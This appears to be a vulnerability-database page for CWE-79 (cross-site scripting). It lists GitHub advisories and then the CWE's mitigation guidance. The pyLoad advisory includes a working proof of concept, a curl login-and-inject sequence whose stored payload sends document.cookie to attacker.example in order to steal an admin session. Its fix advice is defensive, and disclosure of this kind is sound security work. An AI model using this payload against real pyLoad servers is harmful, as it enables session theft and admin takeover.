CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
69949 vulnerabilities reference this CWE, most recent first.
GHSA-FCJQ-435V-JX94
Vulnerability from github – Published: 2026-05-14 20:23 – Updated: 2026-06-09 10:19Summary
The packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.
Details
Sink: src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188:
const html = `
<span class='child_status'>
<span style='margin-right: 2px;color: #337ab7;' class='${link.icon}'></span>
</span>
<span style='font-size: 16px; font-weight: bold;'>
<a onclick='return false' href='${link.url}'>${link.name}</a>
</span><br/>
<div class='child_secrow' ...>
<span class='child_status' ...>${link.statusmsg}</span> ${link.error}
<span class='child_status' ...>${link.format_size}</span>
<span class='child_status' ...> ${link.plugin}</span>...
</div>`;
const div = document.createElement("div");
$(div).attr("id", `file_${link.id}`);
$(div).css("padding-left", "30px");
$(div).css("cursor", "grab");
$(div).addClass("child");
$(div).html(html);
link.url flows in from /api/get_package_data, which returns the URL exactly as stored. Seven other fields on the same element (link.name, link.statusmsg, link.error, link.format_size, link.plugin, link.icon, link.id) share the same unescaped injection surface.
Source: src/pyload/core/api/__init__.py:541-600 (add_package) and the /api/add_package JSON route store the attacker-supplied links list without HTML escaping. The add_package URL sanitizer only strips http://, https://, ../, ..\\, :, and / from the folder name, not the link URL itself.
Mitigation gap: src/pyload/webui/app/__init__.py:63-72 sets security headers but has no Content-Security-Policy header. The only script-related header is X-XSS-Protection, which is a no-op on modern browsers.
Proof of Concept
Actor: Alice (authenticated user with Perms.ADD). Reproduces against pyload 0.5.0-dev at f081a16.
TARGET="http://<pyload-host>:<port>"
# Alice logs in.
CSRF=$(curl -sS -c /tmp/alice.jar "$TARGET/login" | grep -oP 'name="csrf_token" value="\K[^"]+')
curl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST "$TARGET/login" \
-d "csrf_token=$CSRF&do=login&username=alice&password=alice123" -o /dev/null
API_CSRF=$(curl -sS -b /tmp/alice.jar "$TARGET/" | grep -oP 'name="csrf-token" content="\K[^"]+')
# Alice creates a package whose link URL breaks out of the href attribute
# and installs an onmouseover payload.
curl -sS -b /tmp/alice.jar -X POST "$TARGET/api/add_package" \
-H "X-CSRFToken: $API_CSRF" -H "Content-Type: application/json" \
-d $'{"name":"xss-pkg","links":["http://x\' onmouseover=\'fetch(`//attacker.example/`+document.cookie)"]}'
The package lands in the collector (the default destination). Alice can also pass "dest":1 to place it in the queue instead. Both /collector and /queue render the same packages.html template, which loads packages.js.
When any user (including the admin pyload) opens /collector or /queue and hovers the injected file row, the browser parses the anchor as:
<a onclick='return false' href='http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)'>http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)</a>
The onmouseover handler fires on hover and exfiltrates the session cookie. A javascript: URL in the href triggers on click without hover.
Impact
Any user who can reach /api/add_package (which covers the Perms.ADD role, the common baseline for operator users) plants JavaScript that runs in an admin's browser the next time that admin opens the downloads view. The admin's session cookie is in the same origin, so Alice receives it directly. Holding the admin cookie, Alice hits every admin-only endpoint: arbitrary plugin upload, configuration rewrite, reconnect-script RCE, and so on. The attack is stored, persists across reboots, and does not require any interaction from the victim beyond visiting /collector or /queue, the two pages operators use constantly.
The CNL Blueprint exposes a sibling attack surface: when pyload runs with the ClickNLoad handler enabled, an unauthenticated network attacker calls POST /flash/add with the same injected URL and reaches the same sink without logging in.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N (High, 8.3). CWE-79.
Recommended Fix
Two changes.
First, escape every ${link.*} interpolation in the template. jQuery's .text() escapes by default; structure the render so attacker-controlled strings never reach .html():
const a = $("<a/>").attr("href", link.url).text(link.name);
const status = $("<span/>").text(link.statusmsg);
// ... build the DOM with .text() / .attr() calls ...
$(div).append(a).append(status);
If keeping the template-literal style, at minimum wrap every ${link.*} in a helper that HTML-escapes:
const esc = (s) => String(s).replace(/&/g, "&").replace(/</g, "<")
.replace(/>/g, ">").replace(/"/g, """).replace(/'/g, "'");
Second, deploy a strict CSP. default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self' kills the inline-handler class entirely, and pyload's own assets already load from 'self'.
Audit the sibling templates (queue.js, dashboard.js, all admin themes) for the same pattern.
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3.dev99"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45348"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:23:51Z",
"nvd_published_at": "2026-05-28T18:16:35Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `packages.js` template at `src/pyload/webui/app/themes/modern/templates/js/packages.js:172` interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via `$(div).html(html)`. No escaping runs between the API value and `innerHTML`. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator\u0027s browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.\n\n## Details\n\n**Sink**: `src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188`:\n\n```javascript\nconst html = `\n \u003cspan class=\u0027child_status\u0027\u003e\n \u003cspan style=\u0027margin-right: 2px;color: #337ab7;\u0027 class=\u0027${link.icon}\u0027\u003e\u003c/span\u003e\n \u003c/span\u003e\n \u003cspan style=\u0027font-size: 16px; font-weight: bold;\u0027\u003e\n \u003ca onclick=\u0027return false\u0027 href=\u0027${link.url}\u0027\u003e${link.name}\u003c/a\u003e\n \u003c/span\u003e\u003cbr/\u003e\n \u003cdiv class=\u0027child_secrow\u0027 ...\u003e\n \u003cspan class=\u0027child_status\u0027 ...\u003e${link.statusmsg}\u003c/span\u003e\u0026nbsp;${link.error}\u0026nbsp;\n \u003cspan class=\u0027child_status\u0027 ...\u003e${link.format_size}\u003c/span\u003e\n \u003cspan class=\u0027child_status\u0027 ...\u003e ${link.plugin}\u003c/span\u003e...\n \u003c/div\u003e`;\n\nconst div = document.createElement(\"div\");\n$(div).attr(\"id\", `file_${link.id}`);\n$(div).css(\"padding-left\", \"30px\");\n$(div).css(\"cursor\", \"grab\");\n$(div).addClass(\"child\");\n$(div).html(html);\n```\n\n`link.url` flows in from `/api/get_package_data`, which returns the URL exactly as stored. Seven other fields on the same element (`link.name`, `link.statusmsg`, `link.error`, `link.format_size`, `link.plugin`, `link.icon`, `link.id`) share the same unescaped injection surface.\n\n**Source**: `src/pyload/core/api/__init__.py:541-600` (`add_package`) and the `/api/add_package` JSON route store the attacker-supplied `links` list without HTML escaping. The `add_package` URL sanitizer only strips `http://`, `https://`, `../`, `..\\\\`, `:`, and `/` from the folder *name*, not the link URL itself.\n\n**Mitigation gap**: `src/pyload/webui/app/__init__.py:63-72` sets security headers but has no `Content-Security-Policy` header. The only script-related header is `X-XSS-Protection`, which is a no-op on modern browsers.\n\n## Proof of Concept\n\n**Actor**: Alice (authenticated user with `Perms.ADD`). Reproduces against pyload 0.5.0-dev at `f081a16`.\n\n```bash\nTARGET=\"http://\u003cpyload-host\u003e:\u003cport\u003e\"\n\n# Alice logs in.\nCSRF=$(curl -sS -c /tmp/alice.jar \"$TARGET/login\" | grep -oP \u0027name=\"csrf_token\" value=\"\\K[^\"]+\u0027)\ncurl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST \"$TARGET/login\" \\\n -d \"csrf_token=$CSRF\u0026do=login\u0026username=alice\u0026password=alice123\" -o /dev/null\nAPI_CSRF=$(curl -sS -b /tmp/alice.jar \"$TARGET/\" | grep -oP \u0027name=\"csrf-token\" content=\"\\K[^\"]+\u0027)\n\n# Alice creates a package whose link URL breaks out of the href attribute\n# and installs an onmouseover payload.\ncurl -sS -b /tmp/alice.jar -X POST \"$TARGET/api/add_package\" \\\n -H \"X-CSRFToken: $API_CSRF\" -H \"Content-Type: application/json\" \\\n -d $\u0027{\"name\":\"xss-pkg\",\"links\":[\"http://x\\\u0027 onmouseover=\\\u0027fetch(`//attacker.example/`+document.cookie)\"]}\u0027\n```\n\nThe package lands in the collector (the default destination). Alice can also pass `\"dest\":1` to place it in the queue instead. Both `/collector` and `/queue` render the same `packages.html` template, which loads `packages.js`.\n\nWhen any user (including the admin `pyload`) opens `/collector` or `/queue` and hovers the injected file row, the browser parses the anchor as:\n\n```html\n\u003ca onclick=\u0027return false\u0027 href=\u0027http://x\u0027 onmouseover=\u0027fetch(`//attacker.example/`+document.cookie)\u0027\u003ehttp://x\u0027 onmouseover=\u0027fetch(`//attacker.example/`+document.cookie)\u003c/a\u003e\n```\n\nThe `onmouseover` handler fires on hover and exfiltrates the session cookie. A `javascript:` URL in the `href` triggers on click without hover.\n\n## Impact\n\nAny user who can reach `/api/add_package` (which covers the `Perms.ADD` role, the common baseline for operator users) plants JavaScript that runs in an admin\u0027s browser the next time that admin opens the downloads view. The admin\u0027s session cookie is in the same origin, so Alice receives it directly. Holding the admin cookie, Alice hits every admin-only endpoint: arbitrary plugin upload, configuration rewrite, reconnect-script RCE, and so on. The attack is stored, persists across reboots, and does not require any interaction from the victim beyond visiting `/collector` or `/queue`, the two pages operators use constantly.\n\nThe CNL Blueprint exposes a sibling attack surface: when pyload runs with the ClickNLoad handler enabled, an unauthenticated network attacker calls `POST /flash/add` with the same injected URL and reaches the same sink without logging in.\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` (High, 8.3). CWE-79.\n\n## Recommended Fix\n\nTwo changes.\n\nFirst, escape every `${link.*}` interpolation in the template. jQuery\u0027s `.text()` escapes by default; structure the render so attacker-controlled strings never reach `.html()`:\n\n```javascript\nconst a = $(\"\u003ca/\u003e\").attr(\"href\", link.url).text(link.name);\nconst status = $(\"\u003cspan/\u003e\").text(link.statusmsg);\n// ... build the DOM with .text() / .attr() calls ...\n$(div).append(a).append(status);\n```\n\nIf keeping the template-literal style, at minimum wrap every `${link.*}` in a helper that HTML-escapes:\n\n```javascript\nconst esc = (s) =\u003e String(s).replace(/\u0026/g, \"\u0026amp;\").replace(/\u003c/g, \"\u0026lt;\")\n .replace(/\u003e/g, \"\u0026gt;\").replace(/\"/g, \"\u0026quot;\").replace(/\u0027/g, \"\u0026#39;\");\n```\n\nSecond, deploy a strict CSP. `default-src \u0027self\u0027; script-src \u0027self\u0027; object-src \u0027none\u0027; base-uri \u0027self\u0027; frame-ancestors \u0027self\u0027` kills the inline-handler class entirely, and pyload\u0027s own assets already load from `\u0027self\u0027`.\n\nAudit the sibling templates (`queue.js`, `dashboard.js`, all admin themes) for the same pattern.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-fcjq-435v-jx94",
"modified": "2026-06-09T10:19:51Z",
"published": "2026-05-14T20:23:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-fcjq-435v-jx94"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45348"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal"
}
GHSA-FCJQ-WP7X-FVHG
Vulnerability from github – Published: 2022-01-19 00:00 – Updated: 2022-01-25 00:02Sourcecodester Car Rental Management System 1.0 is vulnerable to Cross Site Scripting (XSS) via vehicalorcview parameter.
{
"affected": [],
"aliases": [
"CVE-2021-46005"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-18T18:15:00Z",
"severity": "MODERATE"
},
"details": "Sourcecodester Car Rental Management System 1.0 is vulnerable to Cross Site Scripting (XSS) via vehicalorcview parameter.",
"id": "GHSA-fcjq-wp7x-fvhg",
"modified": "2022-01-25T00:02:16Z",
"published": "2022-01-19T00:00:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46005"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/49546"
},
{
"type": "WEB",
"url": "https://www.sourcecodester.com/cc/14145/online-car-rental-system-using-phpmysql.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FCJX-8HH3-F9HR
Vulnerability from github – Published: 2022-05-13 01:17 – Updated: 2022-05-13 01:17In Horde Groupware 5.2.19, there is XSS via the Name field during creation of a new Resource. This can be leveraged for remote code execution after compromising an administrator account, because the CVE-2015-7984 CSRF protection mechanism can then be bypassed.
{
"affected": [],
"aliases": [
"CVE-2017-16908"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-20T20:29:00Z",
"severity": "MODERATE"
},
"details": "In Horde Groupware 5.2.19, there is XSS via the Name field during creation of a new Resource. This can be leveraged for remote code execution after compromising an administrator account, because the CVE-2015-7984 CSRF protection mechanism can then be bypassed.",
"id": "GHSA-fcjx-8hh3-f9hr",
"modified": "2022-05-13T01:17:50Z",
"published": "2022-05-13T01:17:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16908"
},
{
"type": "WEB",
"url": "https://github.com/horde/kronolith/commit/39f740068ad21618f6f70b6e37855c61cadbd716"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/08/msg00048.html"
},
{
"type": "WEB",
"url": "http://code610.blogspot.com/2017/11/rce-via-xss-horde-5219.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FCM5-FHQ9-W9Q3
Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2022-12-13 21:30A vulnerability within the web-based management interface of Aruba EdgeConnect Enterprise could allow a remote attacker to conduct a reflected cross-site scripting (XSS) attack against a user of the interface. A successful exploit could allow an attacker to execute arbitrary script code in a victim's browser in the context of the affected interface in Aruba EdgeConnect Enterprise Software version(s): ECOS 9.2.1.0 and below; ECOS 9.1.3.0 and below; ECOS 9.0.7.0 and below; ECOS 8.3.7.1 and below.
{
"affected": [],
"aliases": [
"CVE-2022-37925"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-12T13:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability within the web-based management interface of Aruba EdgeConnect Enterprise could allow a remote attacker to conduct a reflected cross-site scripting (XSS) attack against a user of the interface. A successful exploit could allow an attacker to execute arbitrary script code in a victim\u0027s browser in the context of the affected interface in Aruba EdgeConnect Enterprise Software version(s): ECOS 9.2.1.0 and below; ECOS 9.1.3.0 and below; ECOS 9.0.7.0 and below; ECOS 8.3.7.1 and below.",
"id": "GHSA-fcm5-fhq9-w9q3",
"modified": "2022-12-13T21:30:27Z",
"published": "2022-12-12T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37925"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-018.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FCM9-95VF-6X3H
Vulnerability from github – Published: 2022-05-14 03:16 – Updated: 2022-05-14 03:16Monstra CMS 3.0.4 has XSS in the registration Form (i.e., the login parameter to users/registration).
{
"affected": [],
"aliases": [
"CVE-2018-11473"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-05-25T19:29:00Z",
"severity": "MODERATE"
},
"details": "Monstra CMS 3.0.4 has XSS in the registration Form (i.e., the login parameter to users/registration).",
"id": "GHSA-fcm9-95vf-6x3h",
"modified": "2022-05-14T03:16:17Z",
"published": "2022-05-14T03:16:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11473"
},
{
"type": "WEB",
"url": "https://github.com/monstra-cms/monstra/issues/446"
},
{
"type": "WEB",
"url": "https://github.com/nikhil1232/Monstra-CMS-3.0.4-XSS-ON-Registration-Page"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FCMH-7492-G4Q9
Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2024-02-01 21:23z-song laravel-admin 1.7.3 has XSS via the Slug or Name on the Roles screen, because of mishandling on the "Operation log" screen.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "encore/laravel-admin"
},
"versions": [
"1.7.3"
]
}
],
"aliases": [
"CVE-2019-17433"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-01T21:23:27Z",
"nvd_published_at": "2019-10-10T12:15:00Z",
"severity": "MODERATE"
},
"details": "z-song laravel-admin 1.7.3 has XSS via the Slug or Name on the Roles screen, because of mishandling on the \"Operation log\" screen.",
"id": "GHSA-fcmh-7492-g4q9",
"modified": "2024-02-01T21:23:27Z",
"published": "2022-05-24T16:58:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17433"
},
{
"type": "WEB",
"url": "https://github.com/z-song/laravel-admin/issues/3847"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "z-song laravel-admin XSS via the Slug or Name on the Roles screen"
}
GHSA-FCMJ-GCWC-RVC5
Vulnerability from github – Published: 2023-07-10 18:30 – Updated: 2023-11-14 21:30Cross Site Scripting (XSS) vulnerability in PHPGurukul Online Fire Reporting System Using PHP and MySQL v.1.2 allows attackers to execute arbitrary code via a crafted payload injected into the search field.
{
"affected": [],
"aliases": [
"CVE-2023-36940"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-10T18:15:11Z",
"severity": "MODERATE"
},
"details": "Cross Site Scripting (XSS) vulnerability in PHPGurukul Online Fire Reporting System Using PHP and MySQL v.1.2 allows attackers to execute arbitrary code via a crafted payload injected into the search field.",
"id": "GHSA-fcmj-gcwc-rvc5",
"modified": "2023-11-14T21:30:49Z",
"published": "2023-07-10T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36940"
},
{
"type": "WEB",
"url": "https://medium.com/%40ridheshgohil1092/cve-2023-36940-xss-on-online-fire-reporting-system-v-1-2-1d3fa170e4d6"
},
{
"type": "WEB",
"url": "https://medium.com/@ridheshgohil1092/cve-2023-36940-xss-on-online-fire-reporting-system-v-1-2-1d3fa170e4d6"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FCMV-JQQ9-6MMM
Vulnerability from github – Published: 2022-05-17 00:50 – Updated: 2022-05-17 00:50Cross-site scripting (XSS) vulnerability in the administration console in the Enforce Server in Symantec Data Loss Prevention (DLP) before 12.5.2 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2014-9230"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-06-28T19:59:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in the administration console in the Enforce Server in Symantec Data Loss Prevention (DLP) before 12.5.2 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.",
"id": "GHSA-fcmv-jqq9-6mmm",
"modified": "2022-05-17T00:50:09Z",
"published": "2022-05-17T00:50:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9230"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/75288"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1032710"
},
{
"type": "WEB",
"url": "http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory\u0026pvid=security_advisory\u0026year=\u0026suid=20150622_00"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FCP3-3HF6-755H
Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2022-05-24 19:08The Related Posts for WordPress plugin through 2.0.4 does not sanitise its heading_text and CSS settings, allowing high privilege users (admin) to set XSS payloads in them, leading to Stored Cross-Site Scripting issues.
{
"affected": [],
"aliases": [
"CVE-2021-24482"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-19T11:15:00Z",
"severity": "MODERATE"
},
"details": "The Related Posts for WordPress plugin through 2.0.4 does not sanitise its heading_text and CSS settings, allowing high privilege users (admin) to set XSS payloads in them, leading to Stored Cross-Site Scripting issues.",
"id": "GHSA-fcp3-3hf6-755h",
"modified": "2022-05-24T19:08:23Z",
"published": "2022-05-24T19:08:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24482"
},
{
"type": "WEB",
"url": "https://m0ze.ru/vulnerability/[2021-04-18]-[WordPress]-[CWE-79]-Related-Posts-for-WordPress-WordPress-Plugin-v2.0.4.txt"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/2f86e418-22fd-4cb8-8de1-062b17cf20a7"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FCP4-M28J-RJRQ
Vulnerability from github – Published: 2026-07-30 12:32 – Updated: 2026-07-30 12:32The IRIS web application in version 2.4.26 and possibly others is vulnerable to stored cross-site scripting (XSS) in the assets function.
{
"affected": [],
"aliases": [
"CVE-2026-16969"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-30T10:16:35Z",
"severity": "HIGH"
},
"details": "The IRIS web application in version 2.4.26 and possibly others is vulnerable to stored cross-site scripting (XSS) in the assets function.",
"id": "GHSA-fcp4-m28j-rjrq",
"modified": "2026-07-30T12:32:18Z",
"published": "2026-07-30T12:32:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16969"
},
{
"type": "WEB",
"url": "https://github.com/sbaresearch/advisories/tree/public/2026/SBA-ADV-20260126-01_DFIR-IRIS_Stored_XSS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
